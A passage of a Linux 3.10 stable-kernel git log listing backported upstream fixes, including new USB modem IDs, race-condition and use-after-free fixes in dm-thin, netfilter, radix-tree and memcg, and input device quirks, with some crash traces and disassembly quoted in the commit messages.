MxPwr=500mA I: If#= 0 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 1 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 2 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I: If#= 3 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=ff Driver=qmi_wwan I: If#= 4 Alt= 0 #EPs= 2 Cls=08(stor.) Sub=06 Prot=50 Driver=usb-storage Reported-by: Thomas Schäfer Signed-off-by: Bjørn Mork Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 24ec08fe287240eb71c4db846eab5cf31087bd3d Author: Andrey Skvortsov Date: Fri Jan 29 00:07:30 2016 +0300 USB: option: add support for SIM7100E commit 3158a8d416f4e1b79dcc867d67cb50013140772c upstream. $ lsusb: Bus 001 Device 101: ID 1e0e:9001 Qualcomm / Option $ usb-devices: T: Bus=01 Lev=02 Prnt=02 Port=00 Cnt=01 Dev#=101 Spd=480 MxCh= 0 D: Ver= 2.00 Cls=00(>ifc ) Sub=00 Prot=00 MxPS=64 #Cfgs= 2 P: Vendor=1e0e ProdID=9001 Rev= 2.32 S: Manufacturer=SimTech, Incorporated S: Product=SimTech, Incorporated S: SerialNumber=0123456789ABCDEF C:* #Ifs= 7 Cfg#= 1 Atr=80 MxPwr=500mA I:* If#= 0 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=ff Prot=ff Driver=option I:* If#= 1 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I:* If#= 2 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I:* If#= 3 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I:* If#= 4 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=00 Prot=00 Driver=option I:* If#= 5 Alt= 0 #EPs= 3 Cls=ff(vend.) Sub=ff Prot=ff Driver=qmi_wwan I:* If#= 6 Alt= 0 #EPs= 2 Cls=ff(vend.) Sub=42 Prot=01 Driver=(none) The last interface (6) is used for Android Composite ADB interface. Serial port layout: 0: QCDM/DIAG 1: NMEA 2: AT 3: AT/PPP 4: audio Signed-off-by: Andrey Skvortsov Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c776aefc1407a2d24145ef30ead5d0d2012f63f8 Author: Ken Lin Date: Mon Feb 1 14:57:25 2016 -0500 USB: cp210x: add IDs for GE B650V3 and B850V3 boards commit 6627ae19385283b89356a199d7f03c75ba35fb29 upstream. Add USB ID for cp2104/5 devices on GE B650v3 and B850v3 boards. Signed-off-by: Ken Lin Signed-off-by: Akshay Bhat Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0fb85920422d49f541e10f5acbddb32270782ffd Author: Gerhard Uttenthaler Date: Tue Dec 22 17:29:16 2015 +0100 can: ems_usb: Fix possible tx overflow commit 90cfde46586d2286488d8ed636929e936c0c9ab2 upstream. This patch fixes the problem that more CAN messages could be sent to the interface as could be send on the CAN bus. This was more likely for slow baud rates. The sleeping _start_xmit was woken up in the _write_bulk_callback. Under heavy TX load this produced another bulk transfer without checking the free_slots variable and hence caused the overflow in the interface. Signed-off-by: Gerhard Uttenthaler Signed-off-by: Marc Kleine-Budde Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 08ec54232bb30a7a7d2657086a8b48744c6b2231 Author: Nikolay Borisov Date: Thu Dec 17 18:03:35 2015 +0200 dm thin: fix race condition when destroying thin pool workqueue commit 18d03e8c25f173f4107a40d0b8c24defb6ed69f3 upstream. When a thin pool is being destroyed delayed work items are cancelled using cancel_delayed_work(), which doesn't guarantee that on return the delayed item isn't running. This can cause the work item to requeue itself on an already destroyed workqueue. Fix this by using cancel_delayed_work_sync() which guarantees that on return the work item is not running anymore. Fixes: 905e51b39a555 ("dm thin: commit outstanding data every second") Fixes: 85ad643b7e7e5 ("dm thin: add timeout to stop out-of-data-space mode holding IO forever") Signed-off-by: Nikolay Borisov Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bd6e18b127a79de663416367b455e1a313892cc1 Author: Joe Thornber Date: Wed Dec 9 16:23:24 2015 +0000 dm thin metadata: fix bug when taking a metadata snapshot commit 49e99fc717f624aa75ca755d6e7bc029efd3f0e9 upstream. When you take a metadata snapshot the btree roots for the mapping and details tree need to have their reference counts incremented so they persist for the lifetime of the metadata snap. The roots being incremented were those currently written in the superblock, which could possibly be out of date if concurrent IO is triggering new mappings, breaking of sharing, etc. Fix this by performing a commit with the metadata lock held while taking a metadata snapshot. Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b6a03729516455a0ca56c2c3f0d7c02b56dd529d Author: Ingo Molnar Date: Tue Mar 3 07:34:33 2015 +0100 efi: Disable interrupts around EFI calls, not in the epilog/prolog calls commit 23a0d4e8fa6d3a1d7fb819f79bcc0a3739c30ba9 upstream. Tapasweni Pathak reported that we do a kmalloc() in efi_call_phys_prolog() on x86-64 while having interrupts disabled, which is a big no-no, as kmalloc() can sleep. Solve this by removing the irq disabling from the prolog/epilog calls around EFI calls: it's unnecessary, as in this stage we are single threaded in the boot thread, and we don't ever execute this from interrupt contexts. Reported-by: Tapasweni Pathak Signed-off-by: Ingo Molnar Signed-off-by: Matt Fleming [ luis: backported to 3.10: adjusted context ] Signed-off-by: Luis Henriques Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 92b41e073cd7d3f86608c44995b6eb1692743683 Author: Dave Airlie Date: Thu Aug 20 10:13:55 2015 +1000 drm/radeon: fix hotplug race at startup commit 7f98ca454ad373fc1b76be804fa7138ff68c1d27 upstream. We apparantly get a hotplug irq before we've initialised modesetting, [drm] Loading R100 Microcode BUG: unable to handle kernel NULL pointer dereference at (null) IP: [] __mutex_lock_slowpath+0x23/0x91 *pde = 00000000 Oops: 0002 [#1] Modules linked in: radeon(+) drm_kms_helper ttm drm i2c_algo_bit backlight pcspkr psmouse evdev sr_mod input_leds led_class cdrom sg parport_pc parport floppy intel_agp intel_gtt lpc_ich acpi_cpufreq processor button mfd_core agpgart uhci_hcd ehci_hcd rng_core snd_intel8x0 snd_ac97_codec ac97_bus snd_pcm usbcore usb_common i2c_i801 i2c_core snd_timer snd soundcore thermal_sys CPU: 0 PID: 15 Comm: kworker/0:1 Not tainted 4.2.0-rc7-00015-gbf67402 #111 Hardware name: MicroLink /D850MV , BIOS MV85010A.86A.0067.P24.0304081124 04/08/2003 Workqueue: events radeon_hotplug_work_func [radeon] task: f6ca5900 ti: f6d3e000 task.ti: f6d3e000 EIP: 0060:[] EFLAGS: 00010282 CPU: 0 EIP is at __mutex_lock_slowpath+0x23/0x91 EAX: 00000000 EBX: f5e900fc ECX: 00000000 EDX: fffffffe ESI: f6ca5900 EDI: f5e90100 EBP: f5e90000 ESP: f6d3ff0c DS: 007b ES: 007b FS: 0000 GS: 0000 SS: 0068 CR0: 8005003b CR2: 00000000 CR3: 36f61000 CR4: 000006d0 Stack: f5e90100 00000000 c103c4c1 f6d2a5a0 f5e900fc f6df394c c125f162 f8b0faca f6d2a5a0 c138ca00 f6df394c f7395600 c1034741 00d40000 00000000 f6d2a5a0 c138ca00 f6d2a5b8 c138ca10 c1034b58 00000001 f6d40000 f6ca5900 f6d0c940 Call Trace: [] ? dequeue_task_fair+0xa4/0xb7 [] ? mutex_lock+0x9/0xa [] ? radeon_hotplug_work_func+0x17/0x57 [radeon] [] ? process_one_work+0xfc/0x194 [] ? worker_thread+0x18d/0x218 [] ? rescuer_thread+0x1d5/0x1d5 [] ? kthread+0x7b/0x80 [] ? ret_from_kernel_thread+0x20/0x30 [] ? init_completion+0x18/0x18 Code: 42 08 e8 8e a6 dd ff c3 57 56 53 83 ec 0c 8b 35 48 f7 37 c1 8b 10 4a 74 1a 89 c3 8d 78 04 8b 40 08 89 63 Reported-and-Tested-by: Meelis Roos Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 91b52531da650e97b358c26fe48b493d17192d33 Author: Kamal Mostafa Date: Wed Nov 11 14:25:34 2015 -0800 tools: Add a "make all" rule commit f6ba98c5dc78708cb7fd29950c4a50c4c7e88f95 upstream. Signed-off-by: Kamal Mostafa Acked-by: Pavel Machek Cc: Jiri Olsa Cc: Jonathan Cameron Cc: Pali Rohar Cc: Roberta Dobrescu Link: http://lkml.kernel.org/r/1447280736-2161-2-git-send-email-kamal@canonical.com Signed-off-by: Arnaldo Carvalho de Melo [ kamal: backport to 3.10-stable: build all tools for this version ] Signed-off-by: Kamal Mostafa Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 20df17684a96db5bf31a128c604a469d283f018d Author: Zheng Liu Date: Sun Nov 29 17:21:57 2015 -0800 bcache: unregister reboot notifier if bcache fails to unregister device commit 2ecf0cdb2b437402110ab57546e02abfa68a716b upstream. In bcache_init() function it forgot to unregister reboot notifier if bcache fails to unregister a block device. This commit fixes this. Signed-off-by: Zheng Liu Tested-by: Joshua Schmid Tested-by: Eric Wheeler Cc: Kent Overstreet Signed-off-by: Jens Axboe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c1543fb27ef0a58ca44f5e22105bba90a79603d0 Author: Andrey Vagin Date: Wed Jan 29 19:34:14 2014 +0100 netfilter: nf_conntrack: fix RCU race in nf_conntrack_find_get commit c6825c0976fa7893692e0e43b09740b419b23c09 upstream. Lets look at destroy_conntrack: hlist_nulls_del_rcu(&ct->tuplehash[IP_CT_DIR_ORIGINAL].hnnode); ... nf_conntrack_free(ct) kmem_cache_free(net->ct.nf_conntrack_cachep, ct); net->ct.nf_conntrack_cachep is created with SLAB_DESTROY_BY_RCU. The hash is protected by rcu, so readers look up conntracks without locks. A conntrack is removed from the hash, but in this moment a few readers still can use the conntrack. Then this conntrack is released and another thread creates conntrack with the same address and the equal tuple. After this a reader starts to validate the conntrack: * It's not dying, because a new conntrack was created * nf_ct_tuple_equal() returns true. But this conntrack is not initialized yet, so it can not be used by two threads concurrently. In this case BUG_ON may be triggered from nf_nat_setup_info(). Florian Westphal suggested to check the confirm bit too. I think it's right. task 1 task 2 task 3 nf_conntrack_find_get ____nf_conntrack_find destroy_conntrack hlist_nulls_del_rcu nf_conntrack_free kmem_cache_free __nf_conntrack_alloc kmem_cache_alloc memset(&ct->tuplehash[IP_CT_DIR_MAX], if (nf_ct_is_dying(ct)) if (!nf_ct_tuple_equal() I'm not sure, that I have ever seen this race condition in a real life. Currently we are investigating a bug, which is reproduced on a few nodes. In our case one conntrack is initialized from a few tasks concurrently, we don't have any other explanation for this. <2>[46267.083061] kernel BUG at net/ipv4/netfilter/nf_nat_core.c:322! ... <4>[46267.083951] RIP: 0010:[] [] nf_nat_setup_info+0x564/0x590 [nf_nat] ... <4>[46267.085549] Call Trace: <4>[46267.085622] [] alloc_null_binding+0x5b/0xa0 [iptable_nat] <4>[46267.085697] [] nf_nat_rule_find+0x5c/0x80 [iptable_nat] <4>[46267.085770] [] nf_nat_fn+0x111/0x260 [iptable_nat] <4>[46267.085843] [] nf_nat_out+0x48/0xd0 [iptable_nat] <4>[46267.085919] [] nf_iterate+0x69/0xb0 <4>[46267.085991] [] ? ip_finish_output+0x0/0x2f0 <4>[46267.086063] [] nf_hook_slow+0x74/0x110 <4>[46267.086133] [] ? ip_finish_output+0x0/0x2f0 <4>[46267.086207] [] ? dst_output+0x0/0x20 <4>[46267.086277] [] ip_output+0xa4/0xc0 <4>[46267.086346] [] raw_sendmsg+0x8b4/0x910 <4>[46267.086419] [] inet_sendmsg+0x4a/0xb0 <4>[46267.086491] [] ? sock_update_classid+0x3a/0x50 <4>[46267.086562] [] sock_sendmsg+0x117/0x140 <4>[46267.086638] [] ? _spin_unlock_bh+0x1b/0x20 <4>[46267.086712] [] ? autoremove_wake_function+0x0/0x40 <4>[46267.086785] [] ? do_ip_setsockopt+0x90/0xd80 <4>[46267.086858] [] ? call_function_interrupt+0xe/0x20 <4>[46267.086936] [] ? ub_slab_ptr+0x20/0x90 <4>[46267.087006] [] ? ub_slab_ptr+0x20/0x90 <4>[46267.087081] [] ? kmem_cache_alloc+0xd8/0x1e0 <4>[46267.087151] [] sys_sendto+0x139/0x190 <4>[46267.087229] [] ? sock_setsockopt+0x16d/0x6f0 <4>[46267.087303] [] ? audit_syscall_entry+0x1d7/0x200 <4>[46267.087378] [] ? __audit_syscall_exit+0x265/0x290 <4>[46267.087454] [] ? compat_sys_setsockopt+0x75/0x210 <4>[46267.087531] [] compat_sys_socketcall+0x13f/0x210 <4>[46267.087607] [] ia32_sysret+0x0/0x5 <4>[46267.087676] Code: 91 20 e2 01 75 29 48 89 de 4c 89 f7 e8 56 fa ff ff 85 c0 0f 84 68 fc ff ff 0f b6 4d c6 41 8b 45 00 e9 4d fb ff ff e8 7c 19 e9 e0 <0f> 0b eb fe f6 05 17 91 20 e2 80 74 ce 80 3d 5f 2e 00 00 00 74 <1>[46267.088023] RIP [] nf_nat_setup_info+0x564/0x590 Cc: Eric Dumazet Cc: Florian Westphal Cc: Pablo Neira Ayuso Cc: Patrick McHardy Cc: Jozsef Kadlecsik Cc: "David S. Miller" Cc: Cyrill Gorcunov Signed-off-by: Andrey Vagin Acked-by: Eric Dumazet Signed-off-by: Pablo Neira Ayuso Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 15d9d9c2b98f1ea88f2c55fab7716828b04332d9 Author: Egbert Eich Date: Wed Jun 11 14:59:55 2014 +0200 drm/ast: Initialized data needed to map fbdev memory commit 28fb4cb7fa6f63dc2fbdb5f2564dcbead8e3eee0 upstream. Due to a missing initialization there was no way to map fbdev memory. Thus for example using the Xserver with the fbdev driver failed. This fix adds initialization for fix.smem_start and fix.smem_len in the fb_info structure, which fixes this problem. Requested-by: Benjamin Herrenschmidt Signed-off-by: Egbert Eich [pulled from SuSE tree by me - airlied] Signed-off-by: Dave Airlie Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 54ae6df69f3f137badd8258ba4039a6cbb4de715 Author: Steven Rostedt (Red Hat) Date: Mon Feb 15 12:36:14 2016 -0500 tracepoints: Do not trace when cpu is offline commit f37755490fe9bf76f6ba1d8c6591745d3574a6a6 upstream. The tracepoint infrastructure uses RCU sched protection to enable and disable tracepoints safely. There are some instances where tracepoints are used in infrastructure code (like kfree()) that get called after a CPU is going offline, and perhaps when it is coming back online but hasn't been registered yet. This can probuce the following warning: [ INFO: suspicious RCU usage. ] 4.4.0-00006-g0fe53e8-dirty #34 Tainted: G S ------------------------------- include/trace/events/kmem.h:141 suspicious rcu_dereference_check() usage! other info that might help us debug this: RCU used illegally from offline CPU! rcu_scheduler_active = 1, debug_locks = 1 no locks held by swapper/8/0. stack backtrace: CPU: 8 PID: 0 Comm: swapper/8 Tainted: G S 4.4.0-00006-g0fe53e8-dirty #34 Call Trace: [c0000005b76c78d0] [c0000000008b9540] .dump_stack+0x98/0xd4 (unreliable) [c0000005b76c7950] [c00000000010c898] .lockdep_rcu_suspicious+0x108/0x170 [c0000005b76c79e0] [c00000000029adc0] .kfree+0x390/0x440 [c0000005b76c7a80] [c000000000055f74] .destroy_context+0x44/0x100 [c0000005b76c7b00] [c0000000000934a0] .__mmdrop+0x60/0x150 [c0000005b76c7b90] [c0000000000e3ff0] .idle_task_exit+0x130/0x140 [c0000005b76c7c20] [c000000000075804] .pseries_mach_cpu_die+0x64/0x310 [c0000005b76c7cd0] [c000000000043e7c] .cpu_die+0x3c/0x60 [c0000005b76c7d40] [c0000000000188d8] .arch_cpu_idle_dead+0x28/0x40 [c0000005b76c7db0] [c000000000101e6c] .cpu_startup_entry+0x50c/0x560 [c0000005b76c7ed0] [c000000000043bd8] .start_secondary+0x328/0x360 [c0000005b76c7f90] [c000000000008a6c] start_secondary_prolog+0x10/0x14 This warning is not a false positive either. RCU is not protecting code that is being executed while the CPU is offline. Instead of playing "whack-a-mole(TM)" and adding conditional statements to the tracepoints we find that are used in this instance, simply add a cpu_online() test to the tracepoint code where the tracepoint will be ignored if the CPU is offline. Use of raw_smp_processor_id() is fine, as there should never be a case where the tracepoint code goes from running on a CPU that is online and suddenly gets migrated to a CPU that is offline. Link: http://lkml.kernel.org/r/1455387773-4245-1-git-send-email-kda@linux-powerpc.org Reported-by: Denis Kirjanov Fixes: 97e1c18e8d17b ("tracing: Kernel Tracepoints") Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8739be11586e05ae8252c32bd85bfd50ffb8731c Author: Greg Kroah-Hartman Date: Thu Feb 25 11:58:19 2016 -0800 Linux 3.10.98 Signed-off-by: Pranav Vashi commit 4fc4f3fa62a36b15193192924d7eab174ee3f394 Author: WANG Cong Date: Tue Mar 31 11:01:47 2015 -0700 ip6mr: call del_timer_sync() in ip6mr_free_table() commit 7ba0c47c34a1ea5bc7a24ca67309996cce0569b5 upstream. We need to wait for the flying timers, since we are going to free the mrtable right after it. Cc: Hannes Frederic Sowa Signed-off-by: Cong Wang Signed-off-by: David S. Miller Cc: Ben Hutchings Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 707c53b7e174ca0f3ffedb397fa301d56e365d84 Author: Thomas Gleixner Date: Sat Dec 19 20:07:38 2015 +0000 futex: Drop refcount if requeue_pi() acquired the rtmutex commit fb75a4282d0d9a3c7c44d940582c2d226cf3acfb upstream. If the proxy lock in the requeue loop acquires the rtmutex for a waiter then it acquired also refcount on the pi_state related to the futex, but the waiter side does not drop the reference count. Add the missing free_pi_state() call. Signed-off-by: Thomas Gleixner Cc: Peter Zijlstra Cc: Darren Hart Cc: Davidlohr Bueso Cc: Bhuvanesh_Surachari@mentor.com Cc: Andy Lowe Link: http://lkml.kernel.org/r/20151219200607.178132067@linutronix.de Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 838537c5f211be201d5f0248b4632dc3cc0974ac Author: Andy Lutomirski Date: Fri May 22 16:15:47 2015 -0700 x86/asm/irq: Stop relying on magic JMP behavior for early_idt_handlers commit 425be5679fd292a3c36cb1fe423086708a99f11a upstream. The early_idt_handlers asm code generates an array of entry points spaced nine bytes apart. It's not really clear from that code or from the places that reference it what's going on, and the code only works in the first place because GAS never generates two-byte JMP instructions when jumping to global labels. Clean up the code to generate the correct array stride (member size) explicitly. This should be considerably more robust against screw-ups, as GAS will warn if a .fill directive has a negative count. Using '. =' to advance would have been even more robust (it would generate an actual error if it tried to move backwards), but it would pad with nulls, confusing anyone who tries to disassemble the code. The new scheme should be much clearer to future readers. While we're at it, improve the comments and rename the array and common code. Binutils may start relaxing jumps to non-weak labels. If so, this change will fix our build, and we may need to backport this change. Before, on x86_64: 0000000000000000 : 0: 6a 00 pushq $0x0 2: 6a 00 pushq $0x0 4: e9 00 00 00 00 jmpq 9 5: R_X86_64_PC32 early_idt_handler-0x4 ... 48: 66 90 xchg %ax,%ax 4a: 6a 08 pushq $0x8 4c: e9 00 00 00 00 jmpq 51 4d: R_X86_64_PC32 early_idt_handler-0x4 ... 117: 6a 00 pushq $0x0 119: 6a 1f pushq $0x1f 11b: e9 00 00 00 00 jmpq 120 11c: R_X86_64_PC32 early_idt_handler-0x4 After: 0000000000000000 : 0: 6a 00 pushq $0x0 2: 6a 00 pushq $0x0 4: e9 14 01 00 00 jmpq 11d ... 48: 6a 08 pushq $0x8 4a: e9 d1 00 00 00 jmpq 120 4f: cc int3 50: cc int3 ... 117: 6a 00 pushq $0x0 119: 6a 1f pushq $0x1f 11b: eb 03 jmp 120 11d: cc int3 11e: cc int3 11f: cc int3 Signed-off-by: Andy Lutomirski Acked-by: H. Peter Anvin Cc: Binutils Cc: Borislav Petkov Cc: H.J. Lu Cc: Jan Beulich Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/ac027962af343b0c599cbfcf50b945ad2ef3d7a8.1432336324.git.luto@kernel.org Signed-off-by: Ingo Molnar Signed-off-by: Jiri Slaby Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 75038c27088613682c8243b0053ec01887b773b9 Author: Dan Carpenter Date: Tue Jan 26 12:24:25 2016 +0300 intel_scu_ipcutil: underflow in scu_reg_access() commit b1d353ad3d5835b16724653b33c05124e1b5acf1 upstream. "count" is controlled by the user and it can be negative. Let's prevent that by making it unsigned. You have to have CAP_SYS_RAWIO to call this function so the bug is not as serious as it could be. Fixes: 5369c02d951a ('intel_scu_ipc: Utility driver for intel scu ipc') Signed-off-by: Dan Carpenter Signed-off-by: Darren Hart Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 27c102069b8ade814fb1d54261056fdede0c2781 Author: Konstantin Khlebnikov Date: Fri Feb 5 15:37:01 2016 -0800 radix-tree: fix oops after radix_tree_iter_retry commit 732042821cfa106b3c20b9780e4c60fee9d68900 upstream. Helper radix_tree_iter_retry() resets next_index to the current index. In following radix_tree_next_slot current chunk size becomes zero. This isn't checked and it tries to dereference null pointer in slot. Tagged iterator is fine because retry happens only at slot 0 where tag bitmask in iter->tags is filled with single bit. Fixes: 46437f9a554f ("radix-tree: fix race in gang lookup") Signed-off-by: Konstantin Khlebnikov Cc: Matthew Wilcox Cc: Hugh Dickins Cc: Ohad Ben-Cohen Cc: Jeremiah Mahler Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0bd1328c55bdd0e7a254271670156ee81374f4e9 Author: Matthew Wilcox Date: Tue Feb 2 16:57:52 2016 -0800 radix-tree: fix race in gang lookup commit 46437f9a554fbe3e110580ca08ab703b59f2f95a upstream. If the indirect_ptr bit is set on a slot, that indicates we need to redo the lookup. Introduce a new function radix_tree_iter_retry() which forces the loop to retry the lookup by setting 'slot' to NULL and turning the iterator back to point at the problematic entry. This is a pretty rare problem to hit at the moment; the lookup has to race with a grow of the radix tree from a height of 0. The consequences of hitting this race are that gang lookup could return a pointer to a radix_tree_node instead of a pointer to whatever the user had inserted in the tree. Fixes: cebbd29e1c2f ("radix-tree: rewrite gang lookup using iterator") Signed-off-by: Matthew Wilcox Cc: Hugh Dickins Cc: Ohad Ben-Cohen Cc: Konstantin Khlebnikov Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 835f808991ddfd644023d97bbf914b85f49528fd Author: Martijn Coenen Date: Fri Jan 15 16:57:49 2016 -0800 memcg: only free spare array when readers are done commit 6611d8d76132f86faa501de9451a89bf23fb2371 upstream. A spare array holding mem cgroup threshold events is kept around to make sure we can always safely deregister an event and have an array to store the new set of events in. In the scenario where we're going from 1 to 0 registered events, the pointer to the primary array containing 1 event is copied to the spare slot, and then the spare slot is freed because no events are left. However, it is freed before calling synchronize_rcu(), which means readers may still be accessing threshold->primary after it is freed. Fixed by only freeing after synchronize_rcu(). Signed-off-by: Martijn Coenen Cc: Johannes Weiner Acked-by: Michal Hocko Cc: Vladimir Davydov Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 7d538afd3a2d9b06379cb1e83284a2b7322a40bf Author: Sergey Senozhatsky Date: Thu Jan 14 15:16:53 2016 -0800 scripts/bloat-o-meter: fix python3 syntax error commit 72214a24a7677d4c7501eecc9517ed681b5f2db2 upstream. In Python3+ print is a function so the old syntax is not correct anymore: $ ./scripts/bloat-o-meter vmlinux.o vmlinux.o.old File "./scripts/bloat-o-meter", line 61 print "add/remove: %s/%s grow/shrink: %s/%s up/down: %s/%s (%s)" % \ ^ SyntaxError: invalid syntax Fix by calling print as a function. Tested on python 2.7.11, 3.5.1 Signed-off-by: Sergey Senozhatsky Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 68314dfda8ecd887bd535bcfb40d8a88f0f2cf6c Author: Laura Abbott Date: Thu Jan 14 15:16:50 2016 -0800 dma-debug: switch check from _text to _stext commit ea535e418c01837d07b6c94e817540f50bfdadb0 upstream. In include/asm-generic/sections.h: /* * Usage guidelines: * _text, _data: architecture specific, don't use them in * arch-independent code * [_stext, _etext]: contains .text.* sections, may also contain * .rodata.* * and/or .init.* sections _text is not guaranteed across architectures. Architectures such as ARM may reuse parts which are not actually text and erroneously trigger a bug. Switch to using _stext which is guaranteed to contain text sections. Came out of https://lkml.kernel.org/g/<567B1176.4000106@redhat.com> Signed-off-by: Laura Abbott Reviewed-by: Kees Cook Cc: Russell King Cc: Arnd Bergmann Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit da2f006bfa3873f271d97706cd0b9994eb620975 Author: Sudip Mukherjee Date: Thu Jan 14 15:16:47 2016 -0800 m32r: fix m32104ut_defconfig build fail commit 601f1db653217f205ffa5fb33514b4e1711e56d1 upstream. The build of m32104ut_defconfig for m32r arch was failing for long long time with the error: ERROR: "memory_start" [fs/udf/udf.ko] undefined! ERROR: "memory_end" [fs/udf/udf.ko] undefined! ERROR: "memory_end" [drivers/scsi/sg.ko] undefined! ERROR: "memory_start" [drivers/scsi/sg.ko] undefined! ERROR: "memory_end" [drivers/i2c/i2c-dev.ko] undefined! ERROR: "memory_start" [drivers/i2c/i2c-dev.ko] undefined! As done in other architectures export the symbols to fix the error. Reported-by: Fengguang Wu Signed-off-by: Sudip Mukherjee Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 200ee9bb69a0b65b5070f4766667d3cf859d6b0a Author: Mathias Nyman Date: Tue Jan 26 17:50:12 2016 +0200 xhci: Fix list corruption in urb dequeue at host removal commit 5c82171167adb8e4ac77b91a42cd49fb211a81a0 upstream. xhci driver frees data for all devices, both usb2 and and usb3 the first time usb_remove_hcd() is called, including td_list and and xhci_ring structures. When usb_remove_hcd() is called a second time for the second xhci bus it will try to dequeue all pending urbs, and touches td_list which is already freed for that endpoint. Reported-by: Joe Lawrence Tested-by: Joe Lawrence Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 86aa0672c0286e97a9fd6da32ea423896e989ca6 Author: Andrew Banman Date: Tue Dec 29 14:54:25 2015 -0800 mm/memory_hotplug.c: check for missing sections in test_pages_in_a_zone() commit 5f0f2887f4de9508dcf438deab28f1de8070c271 upstream. test_pages_in_a_zone() does not account for the possibility of missing sections in the given pfn range. pfn_valid_within always returns 1 when CONFIG_HOLES_IN_ZONE is not set, allowing invalid pfns from missing sections to pass the test, leading to a kernel oops. Wrap an additional pfn loop with PAGES_PER_SECTION granularity to check for missing sections before proceeding into the zone-check code. This also prevents a crash from offlining memory devices with missing sections. Despite this, it may be a good idea to keep the related patch '[PATCH 3/3] drivers: memory: prohibit offlining of memory blocks with missing sections' because missing sections in a memory block may lead to other problems not covered by the scope of this fix. Signed-off-by: Andrew Banman Acked-by: Alex Thorlton Cc: Russ Anderson Cc: Alex Thorlton Cc: Yinghai Lu Cc: Greg KH Cc: Seth Jennings Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit fe32b149aef76383a178094a6febaae28ee6a5d7 Author: CQ Tang Date: Wed Jan 13 21:15:03 2016 +0000 iommu/vt-d: Fix 64-bit accesses to 32-bit DMAR_GSTS_REG commit fda3bec12d0979aae3f02ee645913d66fbc8a26e upstream. This is a 32-bit register. Apparently harmless on real hardware, but causing justified warnings in simulation. Signed-off-by: CQ Tang Signed-off-by: David Woodhouse Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 95e61f03057c68b9658003ed3d23cd56b522b5c4 Author: Aurélien Francillon Date: Sat Jan 2 20:39:54 2016 -0800 Input: i8042 - add Fujitsu Lifebook U745 to the nomux list commit dd0d0d4de582a6a61c032332c91f4f4cb2bab569 upstream. Without i8042.nomux=1 the Elantech touch pad is not working at all on a Fujitsu Lifebook U745. This patch does not seem necessary for all U745 (maybe because of different BIOS versions?). However, it was verified that the patch does not break those (see opensuse bug 883192: https://bugzilla.opensuse.org/show_bug.cgi?id=883192). Signed-off-by: Aurélien Francillon Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit aa5d825654f342663d286cb68ecfd704a4ec6234 Author: Benjamin Tissoires Date: Mon Jan 11 17:35:38 2016 -0800 Input: elantech - mark protocols v2 and v3 as semi-mt commit 6544a1df11c48c8413071aac3316792e4678fbfb upstream. When using a protocol v2 or v3 hardware, elantech uses the function elantech_report_semi_mt_data() to report data. This devices are rather creepy because if num_finger is 3, (x2,y2) is (0,0). Yes, only one valid touch is reported. Anyway, userspace (libinput) is now confused by these (0,0) touches, and detect them as palm, and rejects them. Commit 3c0213d17a09 ("Input: elantech - fix semi-mt protocol for v3 HW") was sufficient enough for xf86-input-synaptics and libinput before it has palm rejection. Now we need to actually tell libinput that this device is a semi-mt one and it should not rely on the actual values of the 2 touches. Signed-off-by: Benjamin Tissoires Signed-off-by: Dmitry Torokhov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi 